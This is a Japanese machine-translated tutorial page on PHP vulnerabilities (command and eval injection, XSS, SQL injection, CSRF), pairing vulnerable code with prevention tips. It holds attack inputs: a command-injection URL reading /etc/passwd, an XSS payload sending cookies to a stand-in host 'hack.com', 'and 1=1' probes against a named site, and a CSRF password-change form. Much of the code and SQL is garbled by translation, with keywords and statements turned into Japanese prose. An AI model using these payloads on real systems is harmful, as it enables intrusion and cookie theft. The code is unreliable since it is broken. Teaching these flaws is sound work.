PHPの脆弱性を徹底解説

WBOY
リリース: 2016-06-21 08:52:00
オリジナル
947 人が閲覧しました

コマンド注入攻撃
PHP では次の 5 つの関数を使用して外部アプリケーションまたは関数を実行できます
system、exec、passthru、shell_exec、"(shell_exec と同じ関数)
関数プロトタイプ
文字列システム(文字列コマンド, int &return_var)
command 実行するコマンド
return_var には、実行コマンド
の実行後のステータス値が格納されます。 string exec (string コマンド、配列 &output、int &return_var)
command 実行するコマンド
Output は、コマンド
を実行して文字列出力の各行を取得します。 return_var には、コマンド
の実行後のステータス値が格納されます。 void passthru (文字列コマンド、int &return_var)
command 実行するコマンド
return_var には、コマンド
の実行後のステータス値が格納されます。 文字列shell_exec (文字列コマンド)
command 実行するコマンド

脆弱性
例 1:
//ex1.php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "

";<br>
system("ls -al ".$dir);<br>
echo "
";
}
?>
http://www.sectop.com/ex1.php?dir= cat /etc/passwd
を送信します 送信後、コマンドは system("ls -al cat /etc/passwd");

になります。

評価インジェクション攻撃
eval 関数は、入力文字列パラメーターを PHP プログラム コード
として実行します。 関数プロトタイプ:
mixed eval(string code_str) //eval インジェクションは通常、攻撃者が入力文字列
を制御できる場合に発生します。 //ex2.php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します

動的関数
関数 A()
{
何かをする();
}
関数 B()
{
何かをする();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
プログラマの本来の意図は、関数 A と B を動的に呼び出すことであり、その後、http://www.sectop.com/ex.php?func=phpinfo を送信すると、脆弱性が生成されます

予防方法
1. 外部コマンドを実行しないようにしてください
2. カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます
3.escapeshellarg関数を使用してコマンドパラメータを処理します
4.safe_mode_exec_dir を使用して、実行可能ファイル
のパスを指定します。 esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をすべてエスケープします。一重引用符「'」は「'」に、二重引用符「"」は「;」に置き換えられます。 「
」 実行可能ファイルのパスを指定するには、safe_mode_exec_dir を使用します。使用するコマンドを事前にこのパスに配置できます。
セーフモード = オン
safe_mode_exec_di r= /usr/local/php/bin/

クライアント側スクリプトの埋め込み

クライアント側スクリプトの挿入 (スクリプト挿入) とは、フォーム、画像、アニメーション、ハイパーリンク テキストなどのオブジェクトに実行可能スクリプトを挿入することを指します。ユーザーがこれらのオブジェクトを開くと、攻撃者によって埋め込まれたスクリプトが実行され、攻撃が始まります。
スクリプトの埋め込みに使用できる HTML タグには通常、次のものが含まれます:
1. <script> タグでマークされた JavaScript や vbscript などのページ スクリプト プログラム。 <script> タグで js プログラム コードを指定することも、src 属性 <br> で js ファイルの URL パスを指定することもできます。 2. <object> タグでマークされたオブジェクト。これらのオブジェクトは、Java アプレット、マルチメディア ファイル、ActiveX コントロールなどです。通常、オブジェクトの URL パスはデータ属性 <br> 内で指定されます。 3. <embed> タグでマークされたオブジェクト。これらのオブジェクトは、swf ファイルなどのマルチメディア ファイルです。オブジェクトの URL パスは通常、src 属性 <br> 内で指定されます。 4. <applet> ラベルでマークされたオブジェクト。これらのオブジェクトは Java アプレットであり、オブジェクトへの URL パスは通常、コードベース属性 <br> 内で指定されます。 5. <form> タグでマークされたオブジェクト。フォーム <span class="t_tag" href="tag.php?name=%CA%FD%BE%DD"> データ </span> を処理する Web アプリケーションの URL パスは、通常、アクション属性 </applet></p> 内で指定されます。<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; "> <span style="font-size: medium; "><strong>クライアント側スクリプト埋め込み攻撃手順</strong></span><br> 1. 攻撃者<span class="t_tag" href="tag.php?name=%D7%A2%B2%E1">は一般ユーザーとして</span>登録し、Web サイト<br>にログインします。 2.メッセージページを開き、攻撃用のJSコードを挿入します<br> 3. 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します <br> 4. メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました<br> </p> <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; "> <span style="font-size: medium; "><strong>例</strong></span><br> データベース<br> CREATE TABLE `postmessage` (<br> `id` int(11) NOT NULL auto_increment,<br> `subject` varchar(60) NOT NULL デフォルト ”,<br> `name` varchar(40) NOT NULL デフォルト ”,<br> `email` varchar(25) NOT NULL デフォルト ”,<br> 「質問」メディアテキストが NULL ではありません、<br> `postdate` datetime NOT NULL デフォルト '0000-00-00 00:00:00',<br> 主キー (`id`)<br> ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’ユーザーのメッセージ’ AUTO_INCREMENT=69;<br> //add.php メッセージを挿入<br> //list.php メッセージリスト<br> //show.php メッセージを表示</p> <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; "> 下の画像を添えてメッセージを送信してください<br> </p> <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; "> このメッセージを閲覧すると、js スクリプトが実行されます <br> <script>while(1){windows.open();}</script> 無限ポップアップ ボックスを挿入します
Insert<script>location.href="http://www.sectop.com";</script> フィッシング ページにジャンプします
または、他の自己構築された JS コードを使用して攻撃します

予防方法
通常、特殊文字を HTML エンコーディングに変換するには、htmlspecialchars 関数を使用します
関数プロトタイプ
string htmlspecialchars (string string、int quote_style、string charset)
string はエンコードされる文字列です
quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、または ENT_NOQUOTES です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符と一重引用符が変換されないことを示します
charset オプション。使用される文字セットを示します
この関数は、次の特殊文字を HTML エンコードに変換します:
& —-> &
" —-> "
「—->」
<—->
> -> >
show.php の 98 行目を
に変更します。
次に、js が挿入されている 脆弱性 ページ
を確認します。

XSS クロスサイト スクリプティング攻撃

XSS(Cross Site Scripting)とは、クロスサイトスクリプティング攻撃のことを指し、CSS(Cascading Style Sheet)と区別するため、XSS
と略します。 クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、このデータを取得すると、そのユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイト スクリプティング攻撃の一般的な手順:
1. 攻撃者は、何らかの方法で xss http リンクをターゲット ユーザーに送信します
2. ターゲットユーザーはこの Web サイトにログインし、ログインプロセス中に攻撃者によって送信された xss リンクを開きました
3. Web サイトはこの xss 攻撃スクリプトを実行しました
4. 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5. 攻撃者はターゲットユーザーの情報を使用して Web サイトにログインし、攻撃を完了します

クロスサイト脆弱性を持つプログラムが出現すると、攻撃者は http://www.sectop.com/search.php?key=<script>document.location= ' のようなものを構築する可能性があります。 http://www.hack.com/getcookie.php?cookie='+document.cookie;</script</font>>、ユーザーを騙してクリックさせた後、ユーザーの Cookie 値を取得できます <br> <span style="font-size: medium; "><strong>予防方法:</strong></span><br> htmlspecialchars 関数を使用して特殊文字を HTML エンコーディングに変換します <br> 関数プロトタイプ<br> <strong>string htmlspecialchars (string string、int quote_style、string charset)</strong><br> String はエンコードされる文字列です <br> quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES です。デフォルト値は ENT_COMPAT です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符も一重引用符も変換されないことを示します <br> charset はオプションで、使用される文字セットを示します<br> この関数は、次の特殊文字を HTML エンコードに変換します: <br> & —-> &<br> " —-> "<br> 「—->」<br> <—-><br> > -> ></font></p> <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; "> $_SERVER["PHP_SELF"] 変数のクロスサイト<br> フォームでパラメーターを自分自身に送信する場合は、次のようなステートメントを使用します <br> <フォームアクション="<?php echo $_SERVER["PHP_SELF"];?>"メソッド="POST"><br> ……<br> </form><br> $_SERVER["PHP_SELF"] 変数の値は現在のページ名です<br> 例:<br> <font color="#2970a6">http://www.sectop.com/get.php</font><br> get.php <br> の上記フォーム 次に <br> を送信します <font color="#2970a6">http://www.sectop.com/get.php/"><script>alert(document.cookie);</script</font>><br> すると、フォームは <br> になります。 <form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
クロスサイト スクリプティングが挿入されました
防御方法は、htmlspecialchars を使用して出力変数をフィルター処理するか、
を使用してフォームを独自のファイルに送信することです。 <フォームアクション=""メソッド="投稿">
これにより、$_SERVER["PHP_SELF"] 変数がクロスサイトになることを直接回避できます

SQL インジェクション攻撃

SQL インジェクション攻撃 (SQL インジェクション) は、攻撃者が慎重に作成した SQL ステートメントをフォームに送信し、Web プログラムが送信されたデータをチェックしない場合、SQL インジェクション攻撃を引き起こします。

SQL インジェクション攻撃の一般的な手順:

1. 攻撃者は SQL インジェクションの脆弱性のあるサイトにアクセスし、インジェクション ポイントを探します

2. 攻撃者は注入ステートメントを構築し、その注入ステートメントがプログラム内の SQL ステートメントと結合されて新しい SQL ステートメント

が生成されます。

3. 新しい SQL ステートメントが処理のためにデータベースに送信されます

4. データベースが新しい SQL ステートメントを実行し、SQL インジェクション攻撃をトリガーしました

データベース

CREATE TABLE `postmessage` (

`id` int(11) NOT NULL auto_increment,

`subject` varchar(60) NOT NULL デフォルト ”,

`name` varchar(40) NOT NULL デフォルト ”,

`email` varchar(25) NOT NULL デフォルト ”,

`質問` メディアテキスト NOT NULL,

`postdate` datetime NOT NULL デフォルト '0000-00-00 00:00:00',

主キー (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’ユーザーのメッセージ’ AUTO_INCREMENT=69;

ch3.* のすべての権限を、'123456'; で識別される sectop’@localhost

に付与します。

//add.php メッセージを挿入

//list.php メッセージリスト

//show.php メッセージを表示

ページ http://www.netsos.com.cn/show.php?id=71 注入ポイントがある可能性があります。テストしてみましょう

http://www.netsos.com.cn/show.php?id=71 および 1=1

ページに戻る

送信

レコードがクエリされたら、レコードがなくなったら、ソース コードを見てみましょう

//show.php 12~15行目

//mysqlクエリステートメントを実行

$query = "select * from postmessage where id = ".$_GET["id"];

$result = mysql_query($query)

または die("ySQL クエリ ステートメントの実行に失敗しました: " .mysql_error());

パラメーター ID が渡された後、前の文字列と結合された SQL ステートメントがデータベースに入れられ、クエリ

が実行されます。

Submit と 1=1 の場合、ステートメントは select * from postmessage where id = 71 および 1=1 となり、このステートメントの前後の値は両方とも true、および の後の値も true になり、クエリされたデータが返されます

Submit および 1=2 の場合、ステートメントは select * from postmessage (id = 71 および 1=2) になり、このステートメントの最初の値は true、最後の値は false、次の値は false になり、データはクエリできません。

通常の SQL クエリは、構築したステートメントを通過した後、SQL インジェクション攻撃を形成します。このインジェクションポイントを通じて、union を使用して管理パスワードを読み取る、データベース情報を読み取る、または mysql のload_file を使用するなどの権限を outfile やその他の関数にさらに取得して、さらに侵入することができます。

予防方法

整数パラメータ:

intval 関数を使用してデータを整数に変換します

関数プロトタイプ

int intval(mixed var, int Base)

Var は整数に変換される変数です

Base (オプション) は基本番号で、デフォルトは 10

浮動小数点パラメータ:

floatval 関数または doubleval 関数を使用して、それぞれ単精度および倍精度浮動小数点パラメータを変換します

関数プロトタイプ

int floatval(混合変数)

Var は変換される変数です

int doubleval(mixed var)

Var は変換される変数です

キャラクターパラメータ:

addslashes 関数を使用して、一重引用符 "'" を "'"、二重引用符 """ から """、バックスラッシュ "" から "\"、および NULL 文字とバックスラッシュ ""

を変換します。

関数プロトタイプ

文字列はスラッシュを追加します (文字列 str)

Str はチェックする文字列です

したがって、先ほど現れたコードの脆弱性は、次のように修正できます

//mysqlクエリステートメントを実行

$query = "select * from postmessage where id = ".intval($_GET["id"]);

$result = mysql_query($query)

または die("ySQL クエリ ステートメントの実行に失敗しました: " .mysql_error());

文字タイプの場合は、最初に magic_quotes_gpc を On にできるかどうかを判断します。 On にできない場合は、addslashes を使用して特殊文字

をエスケープします。

if(get_magic_quotes_gpc())

{

$var = $_GET["var"];

}

それ以外

{

$var = addlashes($_GET["var"]);

}

再度テストしたところ、脆弱性は修正されました

壊れた Web サイトの偽のリクエスト

CSRF(Cross Site Request Forgeries)はクロスサイトリクエストフォージェリを意味し、XSRFとも書きます。 攻撃者は、ターゲット ユーザーの HTTP リクエストを偽造し、CSRF脆弱性を持つ Web サイトにこのリクエストを送信し、Web サイトがこのリクエストを実行すると、クロスサイト リクエスト フォージェリ攻撃が引き起こされます。 。攻撃者は秘密の HTTP 接続を使用して、ターゲット ユーザーが気づかずにこのリンクをクリックできるようにします。ユーザーは自分でクリックしたものであり、合法的な 権限 を持つ正当なユーザーであるため、ターゲット ユーザーは特定の HTTP を実行できます。攻撃者の目的を達成するために、Web サイト内のリンクを攻撃します。
例: ショッピング Web サイトで商品を購入する場合、http://www.shop.com/buy.php?item=watch&num=1 を使用して、購入する商品とその数値を決定します。パラメータは、攻撃者がターゲット ユーザーに秘密の方法でリンクを送信した場合に何を購入するかを決定します
の場合、対象ユーザーが誤ってアクセスすると購入数量が 1000 個となります


隋源ネットワークPHP 掲示板 V1.0

メッセージを自由に削除
//delbook.php このページはメッセージを削除するために使用されます
include_once("dlyz.php"); //dlyz.php のユーザー確認権限、権限が管理者の場合のみメッセージを削除できます
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="データ")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="ID が (".$ID_Dele.") にある書籍から削除";
mysql_query($sql);
}
それ以外
{
$sql="delete from book where id=".$id //削除するメッセージ ID を渡します
mysql_query($sql);
}
mysql_close($conn);
echo "";
?>
管理者権限があり http://localhost/manage/delbook.php?id=2 を送信すると、ID 2 のメッセージが削除されます
使用方法:
私たちは一般ユーザーを使用してメッセージを残します (ソースコード方式)。内容は
です。


4 つの画像リンクを挿入し、4 つの ID メッセージを削除します。その後、ホームページに戻って参照し、変更がないことを確認します。 。画像が表示できません
ここで、管理者アカウントでログインしてホームページを更新すると、メッセージが 1 つだけ残っており、画像リンクで指定された ID 番号を持つ他のメッセージはすべて削除されていることがわかります。
攻撃者はメッセージに隠し画像リンクを挿入しますが、攻撃者自身がこれらの画像リンクにアクセスすると、その効果は見えません。 , このメッセージを表示すると隠しリンクが実行され、彼の権限は十分に大きいため、これらのメッセージは削除されます
管理者パスワードを変更
//pass.php
if($_GET["act"])
{
$ユーザー名=$_POST["ユーザー名"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["タイトル"];
$copyright=$_POST["copyright"]."
設計と製造:厦門水源ネットワーク技術";
$password=md5($_POST["パスワード"]);
if(empty($_POST["パスワード"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright ='".$copyright."'、id=1";
}
それ以外
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title ='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "";
}
このファイルは、管理パスワードと Web サイト設定に関する一部の情報を変更するために使用され、次のフォームを直接構築できます:




<入力タイプ="パスワード" 名前="パスワード" 値="ルート">